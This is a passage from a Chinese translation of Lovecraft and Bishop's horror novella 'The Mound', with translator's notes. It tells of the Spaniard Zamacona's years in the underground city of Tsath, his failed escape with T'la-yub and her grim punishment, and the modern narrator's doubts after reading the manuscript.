随着道路逐渐向下一直延伸到平原上,扎曼阿克拉开始感觉有些不安,一种邪恶的感觉始终在他脑海挥之不去。他不喜欢身下所骑乘的野兽,也不喜欢一个能够控制这种野兽的世界;同样他也不喜欢笼罩在远方撒托上的那种阴沉的气氛。当队伍开始经过那些零星的农场时,西班牙人开始注意到那些在田地里劳作的东西;他不喜欢那些东西的动作与模样,也不喜欢它们身上各式各样的残缺与伤痕。而更令他感到厌恶的是其中一些被圈养在畜栏里的东西,尤其是它们啃食那些新绿饲料时的模样。吉·哈萨·因解释说这些东西属于那些奴隶阶层的成员,它们的行为都被农场的主人牢牢地控制着。他们的主人在每天早上会用催眠般的暗示吩咐它们这一天需要做的事情。作为一种具有一定意识的机器,它们的工作效率几近完美。而那些待在畜栏里的则是更加低等成员,仅仅被当作一些牲畜蓄养着。 当他们抵达平原时,扎曼阿克拉看到了一些更大的农场,并且注意到几乎所有的人工工作都在由那些长着独角而又令人厌恶的盖艾-幽嘶在完成。他同样还注意到更多的人形的东西在沿着犁沟辛勤地劳作。他们中的一部分比其他个体行动起来更加机械和僵硬,这让西班牙人奇怪地感到恐惧与嫌恶。吉·哈萨·因向西班牙人解释到,它们就是伊莫-比合——它们是已经死亡了的生物,但却被昆扬人利用核能与意念的力量重新复苏成为一具机械来完成某些工作与生产。由于奴隶阶层并不像撒托的自由人那样享有永生的权力。所以,随着时间的推移,伊莫-比合这一群体变得非常的庞大。对于昆扬人来说,它们就像如同看门狗一样,忠心耿耿,但比起那些还活着的奴隶来说,它们并不能很好地理解和服从那些思想上指令。在这些尸体中其中最令扎曼阿克拉觉得厌恶的还是那些残缺得最为厉害的个体;因为其中一些的头部已几乎完全没有了,而其他一些则在身体的各处有着某些古怪、似乎完全没有规律的缺损、变形、调换与移植。对于这种情形,西班牙人说不出什么来,但吉·哈萨·因却清楚地告诉他其中有些奴隶是用来给人们在大竞技场里进行娱乐的;因为住在撒托的人们是追求美妙感官刺激的行家,一直都需要为他们疲惫不堪的生活提供一些新鲜与新奇的刺激。虽然无意吹毛求疵,但扎曼阿克拉对他所见所闻没有丝毫好感。 当靠得更近些时,这座巍峨的大都会那旷阔的占地面积与那非人力所能企及的高度都让它变得隐约有些恐怖起来。吉·哈萨·因向扎曼阿克拉解释说,那些巨大高塔的上层部分已经废弃不用了,所以有许多已经被拆卸了下来,避免造成更多的麻烦。平原上那些环绕着早期都市的地方原来都覆盖着较小也较新的住所,到了这个时候,很多地方都只剩下了些古老的尖塔。城市运转所发出的单调轰鸣声从这座黄金与巨石组成的魁伟城堡里传出来,在平原上隆隆作响,与此同时许多马队与马车组成的车流也在那些铺设着黄金或岩石的大道上进进出出。 期间有好几次,吉·哈萨·因停下来为扎曼阿克拉指出某些特别值得注意的东西,尤其是那些供奉着伊格、图鲁、纳各、耶伯[注1]或不可言及者[注2]的神庙。这些神庙紧密地排列在道路的侧旁,并根据昆扬的习俗,被茂密的小树林环绕着。与那些坐落在山脉另一边、荒凉平原上的神庙不同,这些庙宇并没有被废弃;大群骑在牲畜上的朝拜者在流动的人群中来来往往。吉·哈萨·因带着扎曼阿克拉依次走进了每一座庙宇。整个过程中,西班牙人怀着一种或着迷或抵触的情绪观看着一场场不可思议的狂欢仪式。崇拜纳各与耶伯的仪式让他最为厌恶——事实上,他实在太过厌恶,甚至不愿在手稿里描述它们。他还进过一间矮胖、供奉着撒托古亚的黑色神庙,不过那间庙宇里供奉的偶像已经变成了莎布·尼古拉斯——万物之母,不可言及者之妻。这位神明就像是一个更加复杂的阿斯塔特[注3],而对她的崇拜行为让扎曼阿克拉这个虔诚的天主教徒极为憎。但他最不喜欢的东西还是那些祭司在表达情绪时所发出的声音——那种一个已经在日常活动中停止使用声音语言的种族所发出来的刺耳音符。 _[注1:Nug, Yeb,这两个名字通常一同出现,他们被认为是一对双生子神明。可能是莎布·尼古拉斯的子嗣]_ _[注2: the Not-to-Be-Named One]_ _[注3: Astarte古代西北闪米特语地区的腓尼基人等所崇拜的丰饶和爱的女神。]_ 当进一步走近与撒托紧邻的近郊,进入它那令人恐惧的高塔所投下的阴影之中时,吉·哈萨·因又指出了一处巨大的环形建筑。在它的面前排着一条极长的队伍。他解释说那是一座圆形露天竞技场,撒托城里有着许多这样的竞技场,在那里面为倦怠萎靡的昆扬人提供了大量古怪的竞技活动以及大量的感官刺激。原本领队准备停下来,把扎曼阿克拉领到那里面去看一看,但西班牙人回想起了自己在田野里所看到的那些残缺不全的东西,于是表示出了强烈的反对意见。这是他们第一次因为品味差异而产生冲突,在此之后这种友好的冲突又发生了许多回,这让撒托人愈发确信他们的客人肯定遵守着一套古怪而狭隘的行为准则。 整个撒托城是一片由大量奇怪而古老的街道所组成的复杂网络。虽然恐惧与陌生的感觉变得愈来愈强烈,但扎曼阿克拉却仍旧为它所展现出的神奇奥秘与巨大奇迹而着迷。那些令人畏惧的尖塔高大得让人感觉晕眩;城里的拱道与窗户上都刻着奇异的雕纹;拥挤的人群汇聚成巨大的洪流穿行在那些装饰华丽的大道上。当他们经过在带栏杆的广场与巨型平台上时,能望见无数奇异而古怪的景色。那包裹在城市上的灰色薄霾一直压在仿佛位于峡谷底端的街道上,就像是一片巨大而低矮的房顶。所有这一切让他产生了一种之前从未体验过的冒险欲望。很快,他便被带去觐见一个由执政者们组成的评议会。与会的地点在一片有着花园与喷泉的公园后方一座由黄金与纯铜建造的宫殿里——这座宫殿已经有些时日没有打开过了。他被带到了一间华丽的大厅里,大厅的穹顶上绘满了让人眼花缭乱的奇异装饰,在那里他见到了评议会的成员。他们友善地询问了他很多问题,西班牙人发现他们希望从他这里获得的大多数东西都是有关外面世界的历史信息;不过作为回报,他们会为他解开一切有关昆扬的奥秘。而他最大的麻烦仍是那条冷酷无情的命令——他也许永远也无法再回到那个有着太阳、群星与他的祖国西班牙的世界了。 评议会为客人制定了一套日常活动的表单,把他的时间明智地分配到了几类不同的活动中。他们将安排许多研究不同领域的学者与他进行交流,并向他传授撒托城内的各种知识。同时他们也为他空出了大量的时间用于自由研究。评议会的成员许诺,一旦他掌握了书写用的语言,所有世俗与宗教图书馆都将为他敞开大门。他将被邀请参加许多仪式,并且观看许多盛大的活动——除非他明确地提出拒绝——另外,还有很多时间则留给他寻求快乐与情感上的愉悦,这正是昆扬人日常生活的核心与目标所在。他们将分配给扎曼阿克拉一座位于市郊的房子,或者一间位于城市里的公寓;同时还将介绍他加入一个大型情感社群,那里面有许多极为美丽且有着艺术气质的贵妇人——在近代的昆扬,这种社群组织已经逐渐替代了家庭这一社会单位。另外,扎曼阿克拉还将获得几只长着独角的盖艾-幽嘶,用于代步和差使;此外,评议会还将向西班牙人提供十个不仅活着而且完好无缺的奴隶,用来为他管理家业,并保护他不受到那些公路上的小偷、虐待狂以及宗教仪式上的狂欢者。他们告诉西班牙人,他还必须学会使用许多机械设备,不过吉·哈萨·因将会立刻着手教导他使用那些至关重要的设备。 扎曼阿克拉放弃了一间位于乡间的别墅,而是选择了一间位于城市里的公寓。接着那些执政者极为隆重与礼貌地告诉他,他可以离开了。他被领着走过了几条金碧辉煌的大街,来到一座仿佛峭壁一般的大厦前。这座大约有七十到八十层楼高的大厦上雕刻着许多的装饰,而他的房间就被安排在这座大厦之中。在他到来之前,为他入住所作的准备工作就已经开始了。他的住所位于大厦的底层,有着一套宽敞带有穹顶的套房。当西班牙人抵达自己的住所时,奴隶们正在忙着调整垂挂与家具。扎曼阿克拉看到其中有上过漆的嵌花小凳子;丝绸与天鹅绒制作的靠和坐垫;以及无数排柚木与黑檀制作的架子,这些架子上摆放着许多金属圆筒,里面放着他立刻需要阅读的手稿——这些都是所有城市公寓的标准配置。每间房间里都摆着许多书桌,书桌上立着巨大的书架,而书架上摆满了羊皮纸与装着绿色颜料的罐子——每只架子上都有一整套大小各异的颜料刷子以及其他一些古怪的文具。自动书写的机械装置摆放在华丽的金色三角架上。天花板上安装的球形能量装置散射出明亮的蓝色光芒将所有这一切都笼在其中。房间里有窗户,但在这阴暗的大厦底层,它们并不能提供很好的照明。在有一些房间里安置有精致华丽的浴缸。厨房则完全是一个由许多技术发明所组成的复杂迷宫。他们告诉扎曼阿克拉,所有日用品都是通过撒托城的地下隧道网络运送进来的,不过在过去有段时间里,他们也曾用奇怪的机械设备进行运输。在地下有一个牲畜棚用来安顿那些野兽,同时随行人员也为扎曼阿克拉指出了通向公路的最近通道。在他的视察结束之前,已有人送来了属于他的奴隶,并为他进行了介绍;在这之后不久,又有来了约么半打的自由人和贵妇人,他们都来自他未来所属的情感社群,并会在未来的几天内与他做伴,为指导他熟悉生活并邀请他参与娱乐活动贡献些力量。在他们离开后,会有其他一些成员来接替他们,如此反复一直继续在他们这个大约有五十来人的社群里进行循环。 ----------- ### VI 就这样,潘费罗·德·扎曼阿克拉·鲁兹在蓝色的地下世界昆扬里生活了四年,并融入了撒托城的生活。手稿里完全没有记录他在这四年间所学到的东西;因为当他开始用自己的母语——西班牙文来书写这份手稿时,对于信仰的虔诚态度使他不得不对自己的所见所闻保持缄默,不敢记下发生的每一件事情。他一直对很多事情颇为厌恶,而且也一直拒绝观看某些场景,拒绝参与某些活动,拒绝食用某些东西。至于其他一些事情,他只有通过频繁地数自己的念珠来为自己赎罪了。在这四年间,他探索了整个昆扬世界,包括那些坐落在尼斯平原上、早已被昆扬人废弃的机器城市——这些雄伟的机器城市曾在昆扬历史的中期繁荣兴盛,但等到扎曼阿克拉到来的时候,它们只在遍布着金雀花的平原上留下了一些巨大的遗迹。他还去过一次被红光点亮的幽嘶世界,去参观那个世界里的巍峨遗迹。他见识过一些手工艺与机械学上的超凡奇迹,而且每每都被它们惊得屏住了呼吸;他还见过人类如何改变形状、变成虚无、从虚无中变回实体以及从死亡中复生,所有这一切都让他一遍又一遍地在胸前划着十字。他每天都能见到数不清的全新奇迹,这种过剩的刺激让他渐渐地失去了感觉惊讶的能力。 但他在那里待得越久,他就越想离开。在昆扬的精神生活完全建立在一些特殊的情感与冲动之上,而他显然完全无法接纳像是这样的情感与冲动。在他了解了更多有关昆扬的历史知识之后,他开始理解这些居住在地下的居民;但这仍于事无补,理解他们的唯一结果就是让扎曼阿克拉愈发地感到厌恶。他意识到撒托人是一个危险而又迷失了自我的民族——他们比他们自己所知道的要更加危险——他们越来越狂热地沉迷于单调乏味的角斗表演,越来越疯狂地追寻更加的新奇事物,而这一切也在快速地将他们领向崩溃与极度恐怖的悬崖。他同时也发现自己的到来加速了这种动荡的局面;因为他不仅让他们开始担忧外来的入侵,同时也在许多人中激起了想要外出探险的念头——他们想要去品尝那个他所描述的、丰富多彩的外部世界。随着时间的流逝,他注意到有越来越多的人开始将自我虚化当作一种娱乐活动;于是撒托城内的公寓与圆形竞技场里便开始举行一场场真正的魔法狂欢盛宴——人们在这场盛宴里自由的变形、调整年龄、展开濒死实验与精神投射。他看到,他们变得越来越厌倦、越来越烦躁不安,随之而来残忍行径以及叛乱和反抗也在快速地增加。畸形的生物变得越来越多,虐待狂也变得越来越多;愚昧和迷信开始横行;同时也有越来越多的人希望逃离实体生活,变成一种仿佛幽灵般的电磁扩散状态。 然而,试图离开昆扬的一切努力都徒劳无功。再三的尝试证明指望靠说服昆扬人从而离开地下世界的想法完全不会有任何结果;不过上层阶级已周到地考虑到了这个问题,所以在一开始他们并没有因为客人公开表示想要离开而感到恼怒。扎曼阿克拉也曾实际展开过一次逃亡行动——据他估算,那大约是1543年的时候,他打算沿着自己进入昆扬的那条隧道离开这个地下世界。但是,在经历过一段疲惫旅行之后,他穿越过那片荒凉的平原并且遇到了驻守在黑暗通道里的卫兵。那些卫兵让他打消了继续前进的念头。也就是从这个时候开始,为了继续支撑自己的希望,同时也为了保留脑海中家乡的印象,他开始起草记录有关他的冒险的手稿;最后,他愉快地使用那些热爱的古老西班牙词句以及那些熟悉的罗马字母完成了这份手稿。不知为什么,他幻想着自己能将这份手稿送往外面世界;而3为了让其他人信服他所说的话,他决定把这份手稿封在一只由图鲁金属铸造的用于保存某些神圣档案的圆筒里。这种怪异带有磁性的物质将会让人们不得不相信他所讲述的这个令人难以置信的故事。 但即便他这样计划了,但他也没有什么希望能够与地表建立任何的联系。他所知道的每一处大门都被人或是某些最好不要与之作对的哨兵把守着。尝试逃跑并不是件好事情,因为他能看到昆扬人对于他所代表的外部世界所表现出的敌意与日俱增。他开始希望不要再有欧洲人发现他所穿过的那条通道;因为他们也许不会像对待他一样对待那些之后进来的人了。他本人已经成了一个受人珍惜的资料源泉,并且也因此才享有这种具有特权的地位。其他人则会被认为没有他这么重要了,所以很可能收到完全不同的待遇。他甚至开始怀疑,当撒托城的贤人们意识到他身上的新奇信息已被完全抽干的时候,自己又会受到怎样的待遇;为了自保,他开始更加平缓地谈论有关地面上的知识,并且不论何时都表现出一种他还保留着大量新奇知识的姿态。 与此同时,还有一件事情也让扎曼阿克拉的处境变得危险起来了。他一直都对那个位于红色幽嘶下方的终极深渊——恩·凯伊倍感好奇,而那些在昆扬占有主导地位的宗教团体却越来越倾向于否认这个地方的存在。当他在幽嘶探险的时候,他就曾徒劳地试图寻找到那个被封闭起来的入口;不久他又实验了虚化与精神投射的方法,希望自己能依此将自己的意识向下投射进那个他无法用肉眼看到的深渊里。虽然他从未真正熟练掌握这种探索方式,但扎曼阿克拉仍然勉强获得了一系列可怕而又不祥的梦境。而且他相信这些梦境里的确包括了某些的的确确投射入恩·凯伊后得到的东西。当他向那些崇拜伊格与图鲁的宗教领袖谈论起这些梦境时,他们都表现得极为惊骇与慌乱。而昆扬的朋友也告诫他最好把这些事情藏在心里,而不是公然地说出来。后来,这类梦境开始变得非常的频繁,同时也越来越把人推向疯狂的边缘;他不敢在这份手稿里记述那些梦境的内容,不过他还是准备留下另一份特殊的记录来描述这些梦境,留给某些居住在撒托城里的博学之士研究。 很不幸——或许也是仁慈的幸运——扎曼阿克拉在许多事情上都选择保持沉默,同时也将许多的主题与描述都保留下来打算写进那些次要的手稿里。这份手稿中的主要部分一方面为读者描绘了一幅讲述撒托城视觉景观与日常生活的图画,另一方面也留下了大量的空间供人猜想昆扬的历史、语言、思想、习俗以及风格上的细节。同样,人们也可能为那些昆扬人的真正动机感到迷惑不解:他们那奇怪的消极心理,怯懦不好战的性格,以及他们对于外部世界那几乎想要逃跑的恐惧感——虽然他们掌握着原子能与将物质虚化的技术,这意味着在那个时代里,即便遇上有组织的军队,这些技术仍能保证他们是完全无法被征服的。很显然,昆扬已经在衰落的道路上走得很远了——对生活的淡漠和歇斯底里的兴奋混合在一起,反抗着过去那个机器时代为他们所塑造的那种严守时刻表、标准统一、看起来规则得近乎愚蠢的生活。甚至那些怪诞而又令人嫌恶的风俗,还有那些思想与感觉上的固定模式也都可以上溯到这一源头;因为在他的历史研究中,扎曼阿克拉发现有迹象表明过去某个时期的昆扬曾有着许多与文艺复兴时期的古典外部世界非常类似的理念,同时那个时期的昆扬在民族性与艺术观上也充满了那些欧洲人认为是庄严、善良与高尚的东西。 扎曼阿克拉越是研究这些东西,就越对自己的未来感到担忧;因为他发现道德体系的崩解与智力水平的衰退已经变得无处不在,并且这种情况在更深的层次里有着不断加速的不祥迹象。即使在他身处昆扬的这段时间里,衰败的迹象也在成倍地增加。理性主义越来越倒退,逐渐演变成了狂热而放纵的迷信和盲从,尤其集中表现在对带有磁性的图鲁金属顶礼膜拜上。一系列狂躁的憎恨与敌意逐步吞噬了宽容与忍让的美德,而更糟的是,昆扬人对于学者们从扎曼阿克拉那里所了解到的那个外部世界格外的憎恶。有时,他几乎有些担心这些人会在某一天抛下他们长久以来的淡漠与失落,狗急跳墙般向那个位于他们上方的陌生世界开战,并依靠那些他们仍旧记得的古怪科技扫除他们看到的一切东西。不过在现在这个时候,他们仍在试图寻找某些方法与那种挥之不去的厌倦感战斗,努力扫清那些内心的空虚感。他们所发明的那些用于宣泄情绪但却令人毛骨悚然的游戏开始成倍地增加,同时那些怪诞而又变态的娱乐活动亦在不断地增加。撒托城的竞技场一定是一些难以想象而且也应该被诅咒的地方——扎曼阿克拉从来都没有靠近过那里。他也不敢想象,再过一个世纪,甚至再过十年后,他们会变成什么样子。虔诚的西班牙只能比以往更频繁地数自己的念珠与划十字架。 在1545年——依然是按照他的估算——的时候,扎曼阿克拉开始了可能是他最后一次尝试离开昆扬的努力。他所获得的这次新机会来自一个意想不到的地方——来自一名属于他所在的那个情感社群里的女性。这名女性对他产生了一种古怪而又特有的迷恋情绪。似乎她对于撒托在古老时期所执行过的那种一夫一妻式的婚姻制度还保留着某些记忆,并且基于此类记忆而产生了一种奇特的情感。这名叫做缇拉-娅布的贵妇人略有几分姿色,同时也有着至少正常水平的智力。对她来说,扎曼阿克拉似乎有着一种极为特别的影响力;这种影响力甚至最后导致她不惜帮助他展开一次逃亡行动——不过,她在扎曼阿克许诺她可以陪伴他之后才愿意出手帮助。在整件事情中,偶然性占了很大一部分;因为缇拉-娅布最初曾是大门领主家族中的一员,所以她还谨记着一些口头上的传说——这些传说里提及了至少一条通向外部世界的隧道。而且早在昆扬人封闭入口、退守地下的那个年代,这条隧道就已被大多数人遗忘了,因此这条连接着地表某处平原上的一座土丘的隧道而今既没有被封闭也无人看守。她解释说在昆扬切断与地表的联系之前,最早的大门领主并不是守卫或者哨兵,而仅仅只是一种经济上的正式所有者,有些像是封建世袭的男爵阶层。而她自己的家主在大封闭时期实在太过没落,以至于他们所掌握的大门也被完全地忽略掉了;从此之后,他们便一直对这扇大门的存在缄口不言,将它当作一种世袭的秘密流传了下来——虽然失去财富与影响力所带来的失落感经常会令他们感到恼火,但一想到这个秘密一种自豪与隐藏实力的感觉便弥补这种失落。 在得知这个消息后,扎曼阿克拉开始疯狂地拼命完成自己的手稿,以防自己有什么不测。他决定在离开昆扬的时候带上五只野兽并让它们驼满小块的纯金锭——他估计,这些在昆扬用于细小装饰的金锭完全足够让他变成一个在地表世界里拥有无限权力的显赫人物。在撒托居住的这四年里,他已经在一定程度上克服了对于盖艾-幽嘶的恐惧,因为他已经不再为需要使用这些生物而恐惧发抖了;但是他仍决定一旦抵达地表世界,他便会将金子储存起来,然后杀掉这些牲畜并将它们统统埋藏在地下,因为他知道仅仅只对它们瞥上一眼就会让任何一个普通的印第安人吓得精神错乱。接着他会安排一只合适可靠的探险队将这批财富送往墨西哥。他也许会允许缇拉-娅布与他共享这份财富,因为她绝不是一个毫无魅力的女人;但是他可能会将她安排旅居在平原上的印第安人部落之中,因为他并不想与撒托这种生活方式保持任何联系。当然,他会选择一名西班牙人女子作为他的妻子——或者,至少也是地表世界上一名具备正式贵族血统、而且有着优秀背景的印第安人公主。至于那份手稿,他打算把它装在由带神圣且磁性的图鲁金属所铸的装书圆筒里随身带出去。 这次冒险被记载在扎曼阿克拉手稿的附录部分。这一部分明显是后来补充上去的,而那上面的字迹也有着许多特别的迹象,显示出作者在写下这些话时正处于一种精神极度紧张的状态。根据这部分的记叙,他们在极其谨慎与小心地状态下开始了这段旅行。他们特意挑选了撒托的休息时段开始行动,并且沿着城市下方光线昏暗的通道走出了尽可能远的一段距离。扎曼阿克拉与缇拉-娅布都穿上了奴隶的服饰当作伪装,同时也背上了自己的补给袋,带着五只背负着重物的野兽徒步前进。这样,其他人就很容易把他们误认为是普通的工人;同时他们也尽可能沿着地下的通道前进——他们选择了一条漫长但却很少分叉的通道。这条通道原本曾用来引导那些机械运输设备前往勒赛的城郊,但如今的勒赛已经成为了一座废墟,所以这条通道也就跟着被弃用了。在勒赛的遗迹中,他们重新回到了昆扬的地面上,此后他们在蓝色光芒的照耀下尽快地穿越了荒芜的尼斯平原,抵达了由一线低矮山丘组成的戈扬山脉。在这片山脉那盘结丛生的灌木丛中,缇拉-娅布找到了那个废弃了许久、几乎已经变成传说的通道入口;这还是她第二次看见这处入口——上一次见到这处入口的时候还是非常非常久远的过去,那时她的父亲曾带着她到了这个地方,向她展示了这处象征着他们家族骄傲的纪念物。想要驱赶着那些驼着东西的盖艾-幽嘶翻过阻塞道路的蔓藤与荆棘是件非常困难的事情,其中有一只表现出了极为逆反的行为,乃至最后带来了非常可怕的后果——那只盖艾-幽嘶跑出了队伍,带着它鞍垫上那些黄金与其他所有东西快步跑向了撒托。 顶着射出蓝光的火炬在一条潮湿、淤塞的隧道里蜿蜒前进简直犹如噩梦一般。他们在这一条早在亚特兰提斯沉没之前就已无人涉足的隧道里向上、向下、向前接着向上摸索;甚至在某个地方,缇拉-娅布不得不利用那种可怖的技术虚化自己、扎曼阿克拉以及那些负重的野兽,以便穿越一处因地层滑移而被完全阻塞的通道。这对于扎曼阿克拉来说是一次非常恐怖的体验;虽然他常常目睹他人虚化的过程,甚至自己也是用过这种技术来投射自己的梦境,但是他却从未将自己完完全全地虚化过。不过,缇拉-娅布对这种昆扬的技术了如指掌,而且将两次转化过程都完成地极其圆满而安全。 在那之后,他们又开始继续那段让人毛骨悚然的可怕旅行,继续在这条长满了钟乳石的恐怖地穴里蜿蜒前行,而那些恐怖的雕刻在每一处转角不怀好意地睨视着他们。就这样,他们前进、扎营、前进、扎营这样交替着走了一段时间——根据扎曼阿克拉的估计那大约有三天的时间,但可能要更短一些——直到最后他们来到一处非常狭窄的地方。在这个地方,洞穴两侧那纯天然的、或是仅仅被简单开凿过的石壁突然消失了,取而代之的是完全由人工修建起来的石墙。两面刻满可可怖浅浮雕的石墙之间是一条向上延伸的陡峭坡道,在坡道的末尾有一对巨大的壁龛分立在两侧的墙上。在壁龛里面供奉着描绘伊格与图鲁的恐怖图案。早在人类世界刚刚萌芽的那个时期,他们就这样蹲伏在隧道两侧的壁龛里凝视着对方;时至今日,虽然两幅图案上都已裹附了一层厚厚的硝石[注],但这两个可怖的存在仍与过去一样,静静地凝视着对方。在这一对巨大的壁龛之后,通道扩宽成了一个带有穹顶的人造圆形房间;房间里刻满了恐怖的雕画,并在更远的一端留有另一条带有台阶的拱形通道。根据家族里流传的神话,缇拉-娅布知道这里一定距离地表非常近了,但她却不知道到底有多近。于是两个人在这里扎了营,准备在离开地下世界前最后休息一段。 _[注:在潮湿的地下洞穴,由于含有矿物盐水从岩石表面流过蒸发导致矿物盐结晶会在岩石表面形成类似苔藓一样附着物。这层矿物积累得越厚,就说明静止的时间越长。]_ 在几个小时后,金属的叮当声与野兽的脚步声惊醒了扎曼阿克拉与缇拉-娅布。一道蓝色光芒从伊格与图鲁图案之间的狭窄通道里照了上来,接着,事情便变得明朗了。撒托城里已发出了警报——后来,他们才得知那只在荆棘丛生的隧道入口叛逃的盖艾-幽嘶带回了他们的消息——同时,一直行动迅速的追捕队也跟着立刻出发,前来逮捕这两个逃亡者。抵抗显然已经毫无用处,也没有人提议要再做任何抵抗。很快一只由十二个骑着野兽的撒托人组成的追捕队便追了上来,他们有意地表现出了相当的礼貌与客气。双方没有说任何话,也没有进行任何的思想交流,几乎在立刻便开始调转往回走。 返回撒托的那段旅途充满了压抑与不祥的气氛。为了通过那段堵塞区域,他们再次进行了虚化与重组。但原本在逃亡之旅上用来缓和这种恐惧感的希望与期盼此刻已消失殆尽,从而使得这种折磨变得更加的恐怖。在路上,扎曼阿克拉感知到了他的追捕者们在讨论近期清理这一处阻塞点时发散出强烈的思维信号。从今往后,他们必须要增派哨兵驻守这个过去并不为人所知的出口。他们不能让外来者进入这条通道,因为如果有人在没有得到相应处理前便成功逃离了这里,将会将这个巨大内部世界的信息带到外面,并且有可能引来更为强大而好奇的队伍深入昆扬。从扎曼阿克拉抵达昆扬之时起,哨兵就必须始终驻守在每一处通道附近,哪怕是极为偏远的通道;这些哨兵将从所有的奴隶、活死人伊莫-比合以及那些声名狼藉的自由人之间抽选。根据西班牙人之前的预言,由于美洲平原上泛滥着数以千计的欧洲人,所以每一处通道都将被视为是一处潜在为危险源头;并且必须严厉地把守起来,直到撒托的技术人员能够有精力去准备一种最终能完全隐藏洞口存在的技术。在很早而且也更加精力旺盛的年代里,他们曾对许多通道做过类似的处理。 扎曼阿克拉与缇拉-娅布在花园喷泉公园后方那座由黄金与纯铜建造的宫殿里接受了最高评议会里的三个吉因阿耿[注]的审判。西班牙人被释放了,因为他依旧拥有许多有关外部世界的重要信息尚未透露。他被要求返回自己的公寓,并重新融入自己的情感社群,向往常一样继续生活,并根据最新的日程表继续与那些学者们的代表会面。只要他还安静地待在昆扬,他们就不会对他施加任何的限制与约束——但他们私下警告他,如果他继续这种逃离行为,那么下一次就不会这样宽大处理了。扎曼阿克拉似乎从为首的那个吉因阿耿所传达的思想中觉察出了一丝反讽之意——因为他明确表示,他所有的盖艾-幽嘶,包括那只反叛告密的,都将归还于他。 _[注:原文为 gn’agn ,可能是撒托的一种职位。]_ 但缇拉-娅布的结局就不那么欢喜了。他们没有必要再留下她,而且她古老的撒托血统令她背叛行为要比扎曼阿克拉的举动严重得多。评议会下令将她送去圆形竞技场供人进行一些古怪的娱乐;在那之后,她将以一种残缺并且半虚化的模样像是伊莫-比合,或者说活死人奴隶,那样被重新唤醒,驻守在那条她背叛昆扬后试图逃离的隧道里。很快,扎曼阿克拉便听说可怜的缇拉-娅布以一种无头而又残缺不全的状态出现在了竞技场里,并随后被当作一个边疆哨兵派去一处位于通道出口的土丘上履行职责。当听到这个消息时,他感觉到了一种之前不曾料到的痛苦与惋惜。同时,也有人告诉他,她现在是一名夜间哨兵,总是无意识地站在高处,用手中的火炬警告任何可能靠近的人类;如果仍有人不听警告执意靠近的话,她将向下方那个有着穹顶的圆形房间里的小型守备队报告——这只守备队由十二个死尸奴隶伊莫-比合与六个活着但却部分虚化的自由人组成。还有人告诉他,一个活着的自由人将会在白天接替她的岗位——这些人也是因为某种形式上危害了撒托而遭到了惩罚。当然,扎曼阿克拉在很早之前就知道,那些看守大门的主要哨兵都是些名声败坏的自由人。 虽然并没有明确点明,但很显然如果他试图再次逃跑,那么给予他的惩罚便是去发配做一个大门哨兵——不过是在圆形竞技场里经历某些比缇拉-娅布的遭遇更加古怪可怕的处置之后,再以活死人伊莫-比合的形象出现在通道的大门边上。有人偷偷告诉他,他,或者他的某一部分会被重新唤醒,用于看守通道内部;在他人看来,他残缺躯体所看守的地方将永远象征着对他背叛行为的惩罚。但向他提供这些信息的人总会附加说,很难想象他会遭此厄运。因为只要他平静地待在昆扬里,他就能继续被当作一个自由、享有特权而且也受人尊敬的人物来看待。 然而,到了最后,潘费罗·德·扎曼阿克拉似乎的确遭受了他们所描述的那种残酷命运。但是,他并没有预料到自己会有如此下场;不过,在他手稿最后那部分精神紧张的叙述中,他明显提到自己有准备面对这种可能性。让他有可能安然无恙地逃离昆扬的唯一希望在于他不断熟悉的那种虚化的技术。在就此研究了数年之后,他从亲身参与的两次例子中学习到了更多的信息,并且愈发觉得自己能独立并有效地使用这种技术了。手稿里记载了他利用这种技术所展开的几次重要实验——他在自己公寓进行的数次小规模实验都获得了成功——并且也显示扎曼阿克拉希望自己能很快保证将这种幽灵般的形态变成完全隐形的模样,并且能根据自己的意愿自如地保持在在这种状态下。 他在手稿里强调说,一旦他能达到这种水平,离开这里的康庄大道便就此为他打开了。当然,在这种情况下他没法带走任何金子,不过单单逃离这里对他来说就已经够了。不过,他会一同虚化装着手稿的图鲁金属圆筒,并且带着它一同离开,即便他要因此花费更大的努力;因为他必须不惜一切代价将这份记录与证据送到外部世界里去。他现在已经知道那条通道通向哪里了;如果他能在原子离散的状态下沿着隧道走下去,那么他认为没有任何人或者任何力量能够看到他或是阻挡他。唯一的问题在于他是否能在这个过程中一直维持这种幽灵般的状态。从他开始研究自己的实验起,这种风险就一直存在,无法消除。但一个人的冒险生涯中不一直都在冒着死亡与出错的危险么?扎曼阿克拉是一名老派的西班牙人;有着那种能够直面未知、能够在新世界里开垦出半个文明社会的血统。 在他作出最终决定之前的许多个夜晚,扎曼阿克拉数着自己的念珠,一面向圣潘菲洛斯[注]以及其他守护圣灵祈祷。手稿最后的部分已越来越像是以日记的形式在记录了。在手稿的结尾,只有一句简单的话:“Es más tarde de lo que pensaba—tengo que marcharme”……“我想已经很晚了;我必须走了。”在那之后,留下的便只有沉默、猜测以及那些所提到的证明——例如手稿的存在,手稿所带来的一切。 _[注:St. Pamphilus ,公元三世纪,古代巴勒斯坦凯撒里亚的潘菲洛斯。他是凯撒里亚地区的牧师,同时也是那个时代天主教圣经学者的领头人物]_ ----------- ### VII 当我呆若木鸡地从阅读与笔记中回过神来时,早晨的太阳已经高悬在天空了。电灯依然亮着,但有关真实世界——有关这个位于地表的现代世界——的一切却早已被我晕眩的大脑抛到了九霄云外。我知道自己正坐在宾格镇上克莱德·康普顿的家中——但究竟是怎样一副可怕的景象会令我目瞪口呆呢?这份手稿究竟是恶作剧,还是一份疯狂的真实记录?如果它是恶作剧,那么这是一个从十六世纪流传下来的玩笑,还是一个现代人所做的赝品?对于我这双未经专门训练的眼睛来说,这份手稿的年份颇为真实可靠,至于那只奇怪的金属圆筒所带来的问题,我甚至都不敢多做猜想。 而且,这份手稿不正为围绕那座土丘所发生的一切离奇现象作出了一个详细得可怕的解释么——那些在白昼与黑夜里游荡的鬼魂所表现出的那些看起来毫无意义又似是而非的举动;以及那些离奇的疯癫与失踪。如果有人能接受那些看起来令人难以置信的部分的话,那么这甚至是一个看起来合理得应当遭到诅咒的解释——而且还邪恶地令整个解释在前后保持一致。这必定是某人在了解了一切有关土丘的传说之后,而精心设计出的一个令人惊骇的恶作剧。甚至,在手稿作者就那个位于地下、恐怖而又堕落的世界所作的描述中还包含着一些对于社会的讽刺。很显然,这是某个博学的犬儒之徒精心制作的赝品——就像那些在新墨西哥发现的铅十字架,虽然曾一度假传是黑暗时代[注]欧洲殖民者留下的遗物,但最后仍被证明不过只是个笑话而已。 _[注:A.D500~1000年的中世纪]_ 